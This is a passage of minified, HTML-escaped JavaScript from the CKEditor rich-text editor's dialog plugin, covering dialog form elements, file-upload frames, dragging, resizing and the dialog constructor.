a[&quot;for&quot;];c=e?e.call(this,c):!1;!1!==c&amp;&amp;(&quot;xhr&quot;!==c&amp;&amp;b.getContentElement(d[0],d[1]).submit(),this.disable())};b.on(&quot;load&quot;,function(){b.getContentElement(a[&quot;for&quot;][0],a[&quot;for&quot;][1])._.buttons.push(f)});CKEDITOR.ui.dialog.button.call(this,b,c,d)}},html:function(){var b=/^\s*&lt;[\w:]+\s+([^&gt;]*)?&gt;/,a=/^(\s*&lt;[\w:]+(?:\s+[^&gt;]*)?)((?:.|\r|\n)+)$/,d=/\/$/;return function(f,c,e){if(!(3&gt;arguments.length)){var m=[],g=c.html;&quot;\x3c&quot;!=g.charAt(0)&amp;&amp;(g=&quot;\x3cspan\x3e&quot;+g+&quot;\x3c/span\x3e&quot;);var k=c.focus;if(k){var l=this.focus;
this.focus=function(){(&quot;function&quot;==typeof k?k:l).call(this);this.fire(&quot;focus&quot;)};c.isFocusable&amp;&amp;(this.isFocusable=this.isFocusable);this.keyboardFocusable=!0}CKEDITOR.ui.dialog.uiElement.call(this,f,c,m,&quot;span&quot;,null,null,&quot;&quot;);m=m.join(&quot;&quot;).match(b);g=g.match(a)||[&quot;&quot;,&quot;&quot;,&quot;&quot;];d.test(g[1])&amp;&amp;(g[1]=g[1].slice(0,-1),g[2]=&quot;/&quot;+g[2]);e.push([g[1],&quot; &quot;,m[1]||&quot;&quot;,g[2]].join(&quot;&quot;))}}}(),fieldset:function(b,a,d,f,c){var e=c.label;this._={children:a};CKEDITOR.ui.dialog.uiElement.call(this,b,c,f,&quot;fieldset&quot;,null,null,function(){var a=
[];e&amp;&amp;a.push(&quot;\x3clegend&quot;+(c.labelStyle?&#039; style\x3d&quot;&#039;+c.labelStyle+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+e+&quot;\x3c/legend\x3e&quot;);for(var b=0;b&lt;d.length;b++)a.push(d[b]);return a.join(&quot;&quot;)})}},!0);CKEDITOR.ui.dialog.html.prototype=new CKEDITOR.ui.dialog.uiElement;CKEDITOR.ui.dialog.labeledElement.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setLabel:function(b){var a=CKEDITOR.document.getById(this._.labelId);1&gt;a.getChildCount()?(new CKEDITOR.dom.text(b,CKEDITOR.document)).appendTo(a):a.getChild(0).$.nodeValue=
b;return this},getLabel:function(){var b=CKEDITOR.document.getById(this._.labelId);return!b||1&gt;b.getChildCount()?&quot;&quot;:b.getChild(0).getText()},eventProcessors:v},!0);CKEDITOR.ui.dialog.button.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{click:function(){return this._.disabled?!1:this.fire(&quot;click&quot;,{dialog:this._.dialog})},enable:function(){this._.disabled=!1;var b=this.getElement();b&amp;&amp;b.removeClass(&quot;cke_disabled&quot;)},disable:function(){this._.disabled=!0;this.getElement().addClass(&quot;cke_disabled&quot;)},
isVisible:function(){return this.getElement().getFirst().isVisible()},isEnabled:function(){return!this._.disabled},eventProcessors:CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onClick:function(b,a){this.on(&quot;click&quot;,function(){a.apply(this,arguments)})}},!0),accessKeyUp:function(){this.click()},accessKeyDown:function(){this.focus()},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.textInput.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return CKEDITOR.document.getById(this._.inputId)},
focus:function(){var b=this.selectParentTab();setTimeout(function(){var a=b.getInputElement();a&amp;&amp;a.$.focus()},0)},select:function(){var b=this.selectParentTab();setTimeout(function(){var a=b.getInputElement();a&amp;&amp;(a.$.focus(),a.$.select())},0)},accessKeyUp:function(){this.select()},setValue:function(b){if(this.bidi){var a=b&amp;&amp;b.charAt(0);(a=&quot;‪&quot;==a?&quot;ltr&quot;:&quot;‫&quot;==a?&quot;rtl&quot;:null)&amp;&amp;(b=b.slice(1));this.setDirectionMarker(a)}b||(b=&quot;&quot;);return CKEDITOR.ui.dialog.uiElement.prototype.setValue.apply(this,arguments)},
getValue:function(){var b=CKEDITOR.ui.dialog.uiElement.prototype.getValue.call(this);if(this.bidi&amp;&amp;b){var a=this.getDirectionMarker();a&amp;&amp;(b=(&quot;ltr&quot;==a?&quot;‪&quot;:&quot;‫&quot;)+b)}return b},setDirectionMarker:function(b){var a=this.getInputElement();b?a.setAttributes({dir:b,&quot;data-cke-dir-marker&quot;:b}):this.getDirectionMarker()&amp;&amp;a.removeAttributes([&quot;dir&quot;,&quot;data-cke-dir-marker&quot;])},getDirectionMarker:function(){return this.getInputElement().data(&quot;cke-dir-marker&quot;)},keyboardFocusable:!0},q,!0);CKEDITOR.ui.dialog.textarea.prototype=
new CKEDITOR.ui.dialog.textInput;CKEDITOR.ui.dialog.select.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return this._.select.getElement()},add:function(b,a,d){var f=new CKEDITOR.dom.element(&quot;option&quot;,this.getDialog().getParentEditor().document),c=this.getInputElement().$;f.$.text=b;f.$.value=void 0===a||null===a?b:a;void 0===d||null===d?CKEDITOR.env.ie?c.add(f.$):c.add(f.$,null):c.add(f.$,d);return this},remove:function(b){this.getInputElement().$.remove(b);
return this},clear:function(){for(var b=this.getInputElement().$;0&lt;b.length;)b.remove(0);return this},keyboardFocusable:!0},q,!0);CKEDITOR.ui.dialog.checkbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getInputElement:function(){return this._.checkbox.getElement()},setValue:function(b,a){this.getInputElement().$.checked=b;!a&amp;&amp;this.fire(&quot;change&quot;,{value:b})},getValue:function(){return this.getInputElement().$.checked},accessKeyUp:function(){this.setValue(!this.getValue())},eventProcessors:{onChange:function(b,
a){if(!CKEDITOR.env.ie||8&lt;CKEDITOR.env.version)return v.onChange.apply(this,arguments);b.on(&quot;load&quot;,function(){var a=this._.checkbox.getElement();a.on(&quot;propertychange&quot;,function(b){b=b.data.$;&quot;checked&quot;==b.propertyName&amp;&amp;this.fire(&quot;change&quot;,{value:a.$.checked})},this)},this);this.on(&quot;change&quot;,a);return null}},keyboardFocusable:!0},q,!0);CKEDITOR.ui.dialog.radio.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setValue:function(b,a){for(var d=this._.children,f,c=0;c&lt;d.length&amp;&amp;(f=d[c]);c++)f.getElement().$.checked=
f.getValue()==b;!a&amp;&amp;this.fire(&quot;change&quot;,{value:b})},getValue:function(){for(var b=this._.children,a=0;a&lt;b.length;a++)if(b[a].getElement().$.checked)return b[a].getValue();return null},accessKeyUp:function(){var b=this._.children,a;for(a=0;a&lt;b.length;a++)if(b[a].getElement().$.checked){b[a].getElement().focus();return}b[0].getElement().focus()},eventProcessors:{onChange:function(b,a){if(!CKEDITOR.env.ie||8&lt;CKEDITOR.env.version)return v.onChange.apply(this,arguments);b.on(&quot;load&quot;,function(){for(var a=
this._.children,b=this,c=0;c&lt;a.length;c++)a[c].getElement().on(&quot;propertychange&quot;,function(a){a=a.data.$;&quot;checked&quot;==a.propertyName&amp;&amp;this.$.checked&amp;&amp;b.fire(&quot;change&quot;,{value:this.getAttribute(&quot;value&quot;)})})},this);this.on(&quot;change&quot;,a);return null}}},q,!0);CKEDITOR.ui.dialog.file.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,q,{getInputElement:function(){var b=CKEDITOR.document.getById(this._.frameId).getFrameDocument();return 0&lt;b.$.forms.length?new CKEDITOR.dom.element(b.$.forms[0].elements[0]):
this.getElement()},submit:function(){this.getInputElement().getParent().$.submit();return this},getAction:function(){return this.getInputElement().getParent().$.action},registerEvents:function(b){var a=/^on([A-Z]\w+)/,d,f=function(a,b,c,d){a.on(&quot;formLoaded&quot;,function(){a.getInputElement().on(c,d,a)})},c;for(c in b)if(d=c.match(a))this.eventProcessors[c]?this.eventProcessors[c].call(this,this._.dialog,b[c]):f(this,this._.dialog,d[1].toLowerCase(),b[c]);return this},reset:function(){function b(){d.$.open();
var b=&quot;&quot;;f.size&amp;&amp;(b=f.size-(CKEDITOR.env.ie?7:0));var h=a.frameId+&quot;_input&quot;;d.$.write([&#039;\x3chtml dir\x3d&quot;&#039;+g+&#039;&quot; lang\x3d&quot;&#039;+k+&#039;&quot;\x3e\x3chead\x3e\x3ctitle\x3e\x3c/title\x3e\x3c/head\x3e\x3cbody style\x3d&quot;margin: 0; overflow: hidden; background: transparent;&quot;\x3e&#039;,&#039;\x3cform enctype\x3d&quot;multipart/form-data&quot; method\x3d&quot;POST&quot; dir\x3d&quot;&#039;+g+&#039;&quot; lang\x3d&quot;&#039;+k+&#039;&quot; action\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(f.action),&#039;&quot;\x3e\x3clabel id\x3d&quot;&#039;,a.labelId,&#039;&quot; for\x3d&quot;&#039;,h,&#039;&quot; style\x3d&quot;display:none&quot;\x3e&#039;,CKEDITOR.tools.htmlEncode(f.label),
&#039;\x3c/label\x3e\x3cinput style\x3d&quot;width:100%&quot; id\x3d&quot;&#039;,h,&#039;&quot; aria-labelledby\x3d&quot;&#039;,a.labelId,&#039;&quot; type\x3d&quot;file&quot; name\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(f.id||&quot;cke_upload&quot;),&#039;&quot; size\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(0&lt;b?b:&quot;&quot;),&#039;&quot; /\x3e\x3c/form\x3e\x3c/body\x3e\x3c/html\x3e\x3cscript\x3e&#039;,CKEDITOR.env.ie?&quot;(&quot;+CKEDITOR.tools.fixDomain+&quot;)();&quot;:&quot;&quot;,&quot;window.parent.CKEDITOR.tools.callFunction(&quot;+e+&quot;);&quot;,&quot;window.onbeforeunload \x3d function() {window.parent.CKEDITOR.tools.callFunction(&quot;+m+&quot;)}&quot;,&quot;\x3c/script\x3e&quot;].join(&quot;&quot;));
d.$.close();for(b=0;b&lt;c.length;b++)c[b].enable()}var a=this._,d=CKEDITOR.document.getById(a.frameId).getFrameDocument(),f=a.definition,c=a.buttons,e=this.formLoadedNumber,m=this.formUnloadNumber,g=a.dialog._.editor.lang.dir,k=a.dialog._.editor.langCode;e||(e=this.formLoadedNumber=CKEDITOR.tools.addFunction(function(){this.fire(&quot;formLoaded&quot;)},this),m=this.formUnloadNumber=CKEDITOR.tools.addFunction(function(){this.getInputElement().clearCustomData()},this),this.getDialog()._.editor.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(e);
CKEDITOR.tools.removeFunction(m)}));CKEDITOR.env.gecko?setTimeout(b,500):b()},getValue:function(){return this.getInputElement().$.value||&quot;&quot;},setInitValue:function(){this._.initValue=&quot;&quot;},eventProcessors:{onChange:function(b,a){this._.domOnChangeRegistered||(this.on(&quot;formLoaded&quot;,function(){this.getInputElement().on(&quot;change&quot;,function(){this.fire(&quot;change&quot;,{value:this.getValue()})},this)},this),this._.domOnChangeRegistered=!0);this.on(&quot;change&quot;,a)}},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.fileButton.prototype=
new CKEDITOR.ui.dialog.button;CKEDITOR.ui.dialog.fieldset.prototype=CKEDITOR.tools.clone(CKEDITOR.ui.dialog.hbox.prototype);CKEDITOR.dialog.addUIElement(&quot;text&quot;,r);CKEDITOR.dialog.addUIElement(&quot;password&quot;,r);CKEDITOR.dialog.addUIElement(&quot;tel&quot;,r);CKEDITOR.dialog.addUIElement(&quot;textarea&quot;,n);CKEDITOR.dialog.addUIElement(&quot;checkbox&quot;,n);CKEDITOR.dialog.addUIElement(&quot;radio&quot;,n);CKEDITOR.dialog.addUIElement(&quot;button&quot;,n);CKEDITOR.dialog.addUIElement(&quot;select&quot;,n);CKEDITOR.dialog.addUIElement(&quot;file&quot;,n);CKEDITOR.dialog.addUIElement(&quot;fileButton&quot;,
n);CKEDITOR.dialog.addUIElement(&quot;html&quot;,n);CKEDITOR.dialog.addUIElement(&quot;fieldset&quot;,{build:function(b,a,d){for(var f=a.children,c,e=[],h=[],g=0;g&lt;f.length&amp;&amp;(c=f[g]);g++){var k=[];e.push(k);h.push(CKEDITOR.dialog._.uiElementBuilders[c.type].build(b,c,k))}return new CKEDITOR.ui.dialog[a.type](b,h,e,d,a)}})}});CKEDITOR.DIALOG_RESIZE_NONE=0;CKEDITOR.DIALOG_RESIZE_WIDTH=1;CKEDITOR.DIALOG_RESIZE_HEIGHT=2;CKEDITOR.DIALOG_RESIZE_BOTH=3;CKEDITOR.DIALOG_STATE_IDLE=1;CKEDITOR.DIALOG_STATE_BUSY=2;
(function(){function x(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId)+a,c=b-1;c&gt;b-a;c--)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function A(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId),c=b+1;c&lt;b+a;c++)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function K(a,b){for(var c=a.$.getElementsByTagName(&quot;input&quot;),
e=0,d=c.length;e&lt;d;e++){var f=new CKEDITOR.dom.element(c[e]);&quot;text&quot;==f.getAttribute(&quot;type&quot;).toLowerCase()&amp;&amp;(b?(f.setAttribute(&quot;value&quot;,f.getCustomData(&quot;fake_value&quot;)||&quot;&quot;),f.removeCustomData(&quot;fake_value&quot;)):(f.setCustomData(&quot;fake_value&quot;,f.getAttribute(&quot;value&quot;)),f.setAttribute(&quot;value&quot;,&quot;&quot;)))}}function T(a,b){var c=this.getInputElement();c&amp;&amp;(a?c.removeAttribute(&quot;aria-invalid&quot;):c.setAttribute(&quot;aria-invalid&quot;,!0));a||(this.select?this.select():this.focus());b&amp;&amp;alert(b);this.fire(&quot;validated&quot;,{valid:a,msg:b})}
function U(){var a=this.getInputElement();a&amp;&amp;a.removeAttribute(&quot;aria-invalid&quot;)}function V(a){var b=CKEDITOR.dom.element.createFromHtml(CKEDITOR.addTemplate(&quot;dialog&quot;,W).output({id:CKEDITOR.tools.getNextNumber(),editorId:a.id,langDir:a.lang.dir,langCode:a.langCode,editorDialogClass:&quot;cke_editor_&quot;+a.name.replace(/\./g,&quot;\\.&quot;)+&quot;_dialog&quot;,closeTitle:a.lang.common.close,hidpi:CKEDITOR.env.hidpi?&quot;cke_hidpi&quot;:&quot;&quot;})),c=b.getChild([0,0,0,0,0]),e=c.getChild(0),d=c.getChild(1);a.plugins.clipboard&amp;&amp;CKEDITOR.plugins.clipboard.preventDefaultDropOnElement(c);
!CKEDITOR.env.ie||CKEDITOR.env.quirks||CKEDITOR.env.edge||(a=&quot;javascript:void(function(){&quot;+encodeURIComponent(&quot;document.open();(&quot;+CKEDITOR.tools.fixDomain+&quot;)();document.close();&quot;)+&quot;}())&quot;,CKEDITOR.dom.element.createFromHtml(&#039;\x3ciframe frameBorder\x3d&quot;0&quot; class\x3d&quot;cke_iframe_shim&quot; src\x3d&quot;&#039;+a+&#039;&quot; tabIndex\x3d&quot;-1&quot;\x3e\x3c/iframe\x3e&#039;).appendTo(c.getParent()));e.unselectable();d.unselectable();return{element:b,parts:{dialog:b.getChild(0),title:e,close:d,tabs:c.getChild(2),contents:c.getChild([3,0,0,0]),
footer:c.getChild([3,0,1,0])}}}function L(a,b,c){this.element=b;this.focusIndex=c;this.tabIndex=0;this.isFocusable=function(){return!b.getAttribute(&quot;disabled&quot;)&amp;&amp;b.isVisible()};this.focus=function(){a._.currentFocusIndex=this.focusIndex;this.element.focus()};b.on(&quot;keydown&quot;,function(a){a.data.getKeystroke()in{32:1,13:1}&amp;&amp;this.fire(&quot;click&quot;)});b.on(&quot;focus&quot;,function(){this.fire(&quot;mouseover&quot;)});b.on(&quot;blur&quot;,function(){this.fire(&quot;mouseout&quot;)})}function X(a){function b(){a.layout()}var c=CKEDITOR.document.getWindow();
c.on(&quot;resize&quot;,b);a.on(&quot;hide&quot;,function(){c.removeListener(&quot;resize&quot;,b)})}function M(a,b){this._={dialog:a};CKEDITOR.tools.extend(this,b)}function Y(a){function b(b){var c=a.getSize(),k=CKEDITOR.document.getWindow().getViewPaneSize(),q=b.data.$.screenX,n=b.data.$.screenY,r=q-e.x,l=n-e.y;e={x:q,y:n};d.x+=r;d.y+=l;a.move(d.x+h[3]&lt;g?-h[3]:d.x-h[1]&gt;k.width-c.width-g?k.width-c.width+(&quot;rtl&quot;==f.lang.dir?0:h[1]):d.x,d.y+h[0]&lt;g?-h[0]:d.y-h[2]&gt;k.height-c.height-g?k.height-c.height+h[2]:d.y,1);b.data.preventDefault()}
function c(){CKEDITOR.document.removeListener(&quot;mousemove&quot;,b);CKEDITOR.document.removeListener(&quot;mouseup&quot;,c);if(CKEDITOR.env.ie6Compat){var a=u.getChild(0).getFrameDocument();a.removeListener(&quot;mousemove&quot;,b);a.removeListener(&quot;mouseup&quot;,c)}}var e=null,d=null,f=a.getParentEditor(),g=f.config.dialog_magnetDistance,h=CKEDITOR.skin.margins||[0,0,0,0];&quot;undefined&quot;==typeof g&amp;&amp;(g=20);a.parts.title.on(&quot;mousedown&quot;,function(g){e={x:g.data.$.screenX,y:g.data.$.screenY};CKEDITOR.document.on(&quot;mousemove&quot;,b);CKEDITOR.document.on(&quot;mouseup&quot;,
c);d=a.getPosition();if(CKEDITOR.env.ie6Compat){var f=u.getChild(0).getFrameDocument();f.on(&quot;mousemove&quot;,b);f.on(&quot;mouseup&quot;,c)}g.data.preventDefault()},a)}function Z(a){function b(b){var c=&quot;rtl&quot;==f.lang.dir,n=k.width,q=k.height,G=n+(b.data.$.screenX-m.x)*(c?-1:1)*(a._.moved?1:2),H=q+(b.data.$.screenY-m.y)*(a._.moved?1:2),B=a._.element.getFirst(),B=c&amp;&amp;B.getComputedStyle(&quot;right&quot;),C=a.getPosition();C.y+H&gt;p.height&amp;&amp;(H=p.height-C.y);(c?B:C.x)+G&gt;p.width&amp;&amp;(G=p.width-(c?B:C.x));if(d==CKEDITOR.DIALOG_RESIZE_WIDTH||
d==CKEDITOR.DIALOG_RESIZE_BOTH)n=Math.max(e.minWidth||0,G-g);if(d==CKEDITOR.DIALOG_RESIZE_HEIGHT||d==CKEDITOR.DIALOG_RESIZE_BOTH)q=Math.max(e.minHeight||0,H-h);a.resize(n,q);a._.moved||a.layout();b.data.preventDefault()}function c(){CKEDITOR.document.removeListener(&quot;mouseup&quot;,c);CKEDITOR.document.removeListener(&quot;mousemove&quot;,b);q&amp;&amp;(q.remove(),q=null);if(CKEDITOR.env.ie6Compat){var a=u.getChild(0).getFrameDocument();a.removeListener(&quot;mouseup&quot;,c);a.removeListener(&quot;mousemove&quot;,b)}}var e=a.definition,d=e.resizable;
if(d!=CKEDITOR.DIALOG_RESIZE_NONE){var f=a.getParentEditor(),g,h,p,m,k,q,n=CKEDITOR.tools.addFunction(function(d){k=a.getSize();var e=a.parts.contents;e.$.getElementsByTagName(&quot;iframe&quot;).length&amp;&amp;(q=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv class\x3d&quot;cke_dialog_resize_cover&quot; style\x3d&quot;height: 100%; position: absolute; width: 100%;&quot;\x3e\x3c/div\x3e&#039;),e.append(q));h=k.height-a.parts.contents.getSize(&quot;height&quot;,!(CKEDITOR.env.gecko||CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks));g=k.width-a.parts.contents.getSize(&quot;width&quot;,
1);m={x:d.screenX,y:d.screenY};p=CKEDITOR.document.getWindow().getViewPaneSize();CKEDITOR.document.on(&quot;mousemove&quot;,b);CKEDITOR.document.on(&quot;mouseup&quot;,c);CKEDITOR.env.ie6Compat&amp;&amp;(e=u.getChild(0).getFrameDocument(),e.on(&quot;mousemove&quot;,b),e.on(&quot;mouseup&quot;,c));d.preventDefault&amp;&amp;d.preventDefault()});a.on(&quot;load&quot;,function(){var b=&quot;&quot;;d==CKEDITOR.DIALOG_RESIZE_WIDTH?b=&quot; cke_resizer_horizontal&quot;:d==CKEDITOR.DIALOG_RESIZE_HEIGHT&amp;&amp;(b=&quot; cke_resizer_vertical&quot;);b=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv class\x3d&quot;cke_resizer&#039;+
b+&quot; cke_resizer_&quot;+f.lang.dir+&#039;&quot; title\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(f.lang.common.resize)+&#039;&quot; onmousedown\x3d&quot;CKEDITOR.tools.callFunction(&#039;+n+&#039;, event )&quot;\x3e&#039;+(&quot;ltr&quot;==f.lang.dir?&quot;◢&quot;:&quot;◣&quot;)+&quot;\x3c/div\x3e&quot;);a.parts.footer.append(b,1)});f.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(n)})}}function I(a){a.data.preventDefault(1)}function N(a){var b=CKEDITOR.document.getWindow(),c=a.config,e=CKEDITOR.skinName||a.config.skin,d=c.dialog_backgroundCoverColor||(&quot;moono-lisa&quot;==e?&quot;black&quot;:&quot;white&quot;),e=c.dialog_backgroundCoverOpacity,
f=c.baseFloatZIndex,c=CKEDITOR.tools.genKey(d,e,f),g=z[c];g?g.show():(f=[&#039;\x3cdiv tabIndex\x3d&quot;-1&quot; style\x3d&quot;position: &#039;,CKEDITOR.env.ie6Compat?&quot;absolute&quot;:&quot;fixed&quot;,&quot;; z-index: &quot;,f,&quot;; top: 0px; left: 0px; &quot;,CKEDITOR.env.ie6Compat?&quot;&quot;:&quot;background-color: &quot;+d,&#039;&quot; class\x3d&quot;cke_dialog_background_cover&quot;\x3e&#039;],CKEDITOR.env.ie6Compat&amp;&amp;(d=&quot;\x3chtml\x3e\x3cbody style\x3d\\&#039;background-color:&quot;+d+&quot;;\\&#039;\x3e\x3c/body\x3e\x3c/html\x3e&quot;,f.push(&#039;\x3ciframe hidefocus\x3d&quot;true&quot; frameborder\x3d&quot;0&quot; id\x3d&quot;cke_dialog_background_iframe&quot; src\x3d&quot;javascript:&#039;),
f.push(&quot;void((function(){&quot;+encodeURIComponent(&quot;document.open();(&quot;+CKEDITOR.tools.fixDomain+&quot;)();document.write( &#039;&quot;+d+&quot;&#039; );document.close();&quot;)+&quot;})())&quot;),f.push(&#039;&quot; style\x3d&quot;position:absolute;left:0;top:0;width:100%;height: 100%;filter: progid:DXImageTransform.Microsoft.Alpha(opacity\x3d0)&quot;\x3e\x3c/iframe\x3e&#039;)),f.push(&quot;\x3c/div\x3e&quot;),g=CKEDITOR.dom.element.createFromHtml(f.join(&quot;&quot;)),g.setOpacity(void 0!==e?e:.5),g.on(&quot;keydown&quot;,I),g.on(&quot;keypress&quot;,I),g.on(&quot;keyup&quot;,I),g.appendTo(CKEDITOR.document.getBody()),
z[c]=g);a.focusManager.add(g);u=g;a=function(){var a=b.getViewPaneSize();g.setStyles({width:a.width+&quot;px&quot;,height:a.height+&quot;px&quot;})};var h=function(){var a=b.getScrollPosition(),c=CKEDITOR.dialog._.currentTop;g.setStyles({left:a.x+&quot;px&quot;,top:a.y+&quot;px&quot;});if(c){do a=c.getPosition(),c.move(a.x,a.y);while(c=c._.parentDialog)}};J=a;b.on(&quot;resize&quot;,a);a();CKEDITOR.env.mac&amp;&amp;CKEDITOR.env.webkit||g.focus();if(CKEDITOR.env.ie6Compat){var p=function(){h();arguments.callee.prevScrollHandler.apply(this,arguments)};b.$.setTimeout(function(){p.prevScrollHandler=
window.onscroll||function(){};window.onscroll=p},0);h()}}function O(a){u&amp;&amp;(a.focusManager.remove(u),a=CKEDITOR.document.getWindow(),u.hide(),a.removeListener(&quot;resize&quot;,J),CKEDITOR.env.ie6Compat&amp;&amp;a.$.setTimeout(function(){window.onscroll=window.onscroll&amp;&amp;window.onscroll.prevScrollHandler||null},0),J=null)}var v=CKEDITOR.tools.cssLength,W=&#039;\x3cdiv class\x3d&quot;cke_reset_all {editorId} {editorDialogClass} {hidpi}&quot; dir\x3d&quot;{langDir}&quot; lang\x3d&quot;{langCode}&quot; role\x3d&quot;dialog&quot; aria-labelledby\x3d&quot;cke_dialog_title_{id}&quot;\x3e\x3ctable class\x3d&quot;cke_dialog &#039;+
CKEDITOR.env.cssClass+&#039; cke_{langDir}&quot; style\x3d&quot;position:absolute&quot; role\x3d&quot;presentation&quot;\x3e\x3ctr\x3e\x3ctd role\x3d&quot;presentation&quot;\x3e\x3cdiv class\x3d&quot;cke_dialog_body&quot; role\x3d&quot;presentation&quot;\x3e\x3cdiv id\x3d&quot;cke_dialog_title_{id}&quot; class\x3d&quot;cke_dialog_title&quot; role\x3d&quot;presentation&quot;\x3e\x3c/div\x3e\x3ca id\x3d&quot;cke_dialog_close_button_{id}&quot; class\x3d&quot;cke_dialog_close_button&quot; href\x3d&quot;javascript:void(0)&quot; title\x3d&quot;{closeTitle}&quot; role\x3d&quot;button&quot;\x3e\x3cspan class\x3d&quot;cke_label&quot;\x3eX\x3c/span\x3e\x3c/a\x3e\x3cdiv id\x3d&quot;cke_dialog_tabs_{id}&quot; class\x3d&quot;cke_dialog_tabs&quot; role\x3d&quot;tablist&quot;\x3e\x3c/div\x3e\x3ctable class\x3d&quot;cke_dialog_contents&quot; role\x3d&quot;presentation&quot;\x3e\x3ctr\x3e\x3ctd id\x3d&quot;cke_dialog_contents_{id}&quot; class\x3d&quot;cke_dialog_contents_body&quot; role\x3d&quot;presentation&quot;\x3e\x3c/td\x3e\x3c/tr\x3e\x3ctr\x3e\x3ctd id\x3d&quot;cke_dialog_footer_{id}&quot; class\x3d&quot;cke_dialog_footer&quot; role\x3d&quot;presentation&quot;\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e&#039;;
CKEDITOR.dialog=function(a,b){function c(){var a=l._.focusList;a.sort(function(a,b){return a.tabIndex!=b.tabIndex?b.tabIndex-a.tabIndex:a.focusIndex-b.focusIndex});for(var b=a.length,c=0;c&lt;b;c++)a[c].focusIndex=c}function e(a){var b=l._.focusList;a=a||0;if(!(1&gt;b.length)){var c=l._.currentFocusIndex;l._.tabBarMode&amp;&amp;0&gt;a&amp;&amp;(c=0);try{b[c].getInputElement().$.blur()}catch(d){}var e=c,g=1&lt;l._.pageCount;do{e+=a;if(g&amp;&amp;!l._.tabBarMode&amp;&amp;(e==b.length||-1==e)){l._.tabBarMode=!0;l._.tabs[l._.currentTabId][0].focus();
l._.currentFocusIndex=-1;return}e=(e+b.length)%b.length;if(e==c)break}while(a&amp;&amp;!b[e].isFocusable());b[e].focus();&quot;text&quot;==b[e].type&amp;&amp;b[e].select()}}function d(b){if(l==CKEDITOR.dialog._.currentTop){var c=b.data.getKeystroke(),d=&quot;rtl&quot;==a.lang.dir,g=[37,38,39,40];q=n=0;if(9==c||c==CKEDITOR.SHIFT+9)e(c==CKEDITOR.SHIFT+9?-1:1),q=1;else if(c==CKEDITOR.ALT+121&amp;&amp;!l._.tabBarMode&amp;&amp;1&lt;l.getPageCount())l._.tabBarMode=!0,l._.tabs[l._.currentTabId][0].focus(),l._.currentFocusIndex=-1,q=1;else if(-1!=CKEDITOR.tools.indexOf(g,
c)&amp;&amp;l._.tabBarMode)c=-1!=CKEDITOR.tools.indexOf([d?39:37,38],c)?x.call(l):A.call(l),l.selectPage(c),l._.tabs[c][0].focus(),q=1;else if(13!=c&amp;&amp;32!=c||!l._.tabBarMode)if(13==c)c=b.data.getTarget(),c.is(&quot;a&quot;,&quot;button&quot;,&quot;select&quot;,&quot;textarea&quot;)||c.is(&quot;input&quot;)&amp;&amp;&quot;button&quot;==c.$.type||((c=this.getButton(&quot;ok&quot;))&amp;&amp;CKEDITOR.tools.setTimeout(c.click,0,c),q=1),n=1;else if(27==c)(c=this.getButton(&quot;cancel&quot;))?CKEDITOR.tools.setTimeout(c.click,0,c):!1!==this.fire(&quot;cancel&quot;,{hide:!0}).hide&amp;&amp;this.hide(),n=1;else return;else this.selectPage(this._.currentTabId),
this._.tabBarMode=!1,this._.currentFocusIndex=-1,e(1),q=1;f(b)}}function f(a){q?a.data.preventDefault(1):n&amp;&amp;a.data.stopPropagation()}var g=CKEDITOR.dialog._.dialogDefinitions[b],h=CKEDITOR.tools.clone(aa),p=a.config.dialog_buttonsOrder||&quot;OS&quot;,m=a.lang.dir,k={},q,n;(&quot;OS&quot;==p&amp;&amp;CKEDITOR.env.mac||&quot;rtl&quot;==p&amp;&amp;&quot;ltr&quot;==m||&quot;ltr&quot;==p&amp;&amp;&quot;rtl&quot;==m)&amp;&amp;h.buttons.reverse();g=CKEDITOR.tools.extend(g(a),h);g=CKEDITOR.tools.clone(g);g=new P(this,g);h=V(a);this._={editor:a,element:h.element,name:b,contentSize:{width:0,height:0},
size:{width:0,height:0},contents:{},buttons:{},accessKeyMap:{},tabs:{},tabIdList:[],currentTabId:null,currentTabIndex:null,pageCount:0,lastTab:null,tabBarMode:!1,focusList:[],currentFocusIndex:0,hasFocus:!1};this.parts=h.parts;CKEDITOR.tools.setTimeout(function(){a.fire(&quot;ariaWidget&quot;,this.parts.contents)},0,this);h={position:CKEDITOR.env.ie6Compat?&quot;absolute&quot;:&quot;fixed&quot;,top:0,visibility:&quot;hidden&quot;};h[&quot;rtl&quot;==m?&quot;right&quot;:&quot;left&quot;]=0;this.parts.dialog.setStyles(h);CKEDITOR.event.call(this);this.definition=g=CKEDITOR.fire(&quot;dialogDefinition&quot;,
